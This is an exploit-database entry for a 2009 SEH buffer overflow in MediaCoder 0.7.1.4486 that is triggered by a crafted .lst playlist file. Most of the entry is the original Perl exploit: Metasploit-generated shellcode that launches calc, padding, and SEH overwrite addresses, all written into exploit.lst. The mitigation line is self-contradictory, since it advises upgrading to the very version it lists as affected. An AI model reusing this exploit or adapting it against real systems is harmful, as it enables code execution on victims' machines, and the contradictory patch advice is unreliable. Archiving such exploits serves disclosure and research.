MediaCoder 0.7.1.4486 (.lst) Universal Buffer overflow (SEH)

vendor:

MediaCoder

by:

germaya_x

7,8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: MediaCoder

Affected Version From: 0.7.1.4486

Affected Version To: 0.7.1.4486

Patch Exists: YES

Related CWE: N/A

CPE: a:mediacoder:mediacoder

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2009

MediaCoder 0.7.1.4486 (.lst) Universal Buffer overflow (SEH)

MediaCoder 0.7.1.4486 is vulnerable to a universal buffer overflow vulnerability when a specially crafted .lst file is opened. This can be exploited to execute arbitrary code by corrupting the SEH chain and overwriting the return address with a pointer to malicious code.

Mitigation:

Upgrade to the latest version of MediaCoder 0.7.1.4486

Source

Exploit-DB raw data:

#!/usr/bin/perl
#[+] Bug : MediaCoder 0.7.1.4486 (.lst) Universal Buffer overflow (SEH)
#[+] Author : germaya_x
#[+] Greetz : hack4love
#[+] tested on: sp3 (EN)
##########################################################
 
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x38".
"\x78\x73\x8a\x83\xeb\xfc\xe2\xf4\xc4\x90\x37\x8a\x38\x78\xf8\xcf".
"\x04\xf3\x0f\x8f\x40\x79\x9c\x01\x77\x60\xf8\xd5\x18\x79\x98\xc3".
"\xb3\x4c\xf8\x8b\xd6\x49\xb3\x13\x94\xfc\xb3\xfe\x3f\xb9\xb9\x87".
"\x39\xba\x98\x7e\x03\x2c\x57\x8e\x4d\x9d\xf8\xd5\x1c\x79\x98\xec".
"\xb3\x74\x38\x01\x67\x64\x72\x61\xb3\x64\xf8\x8b\xd3\xf1\x2f\xae".
"\x3c\xbb\x42\x4a\x5c\xf3\x33\xba\xbd\xb8\x0b\x86\xb3\x38\x7f\x01".
"\x48\x64\xde\x01\x50\x70\x98\x83\xb3\xf8\xc3\x8a\x38\x78\xf8\xe2".
"\x04\x27\x42\x7c\x58\x2e\xfa\x72\xbb\xb8\x08\xda\x50\x88\xf9\x8e".
"\x67\x10\xeb\x74\xb2\x76\x24\x75\xdf\x1b\x12\xe6\x5b\x78\x73\x8a";

my $junk="\x41" x 768;
my $next_seh="\x87\x51\x37\x00"; # jmp esp in sdl.dll
my $seh="\x31\x66\x66\x31"; # pop pop ret->mediacoder.exe

open(myfile,'>>exploit.lst');
print myfile $junk.$next_seh.$seh.$shellcode;

# milw0rm.com [2009-08-04]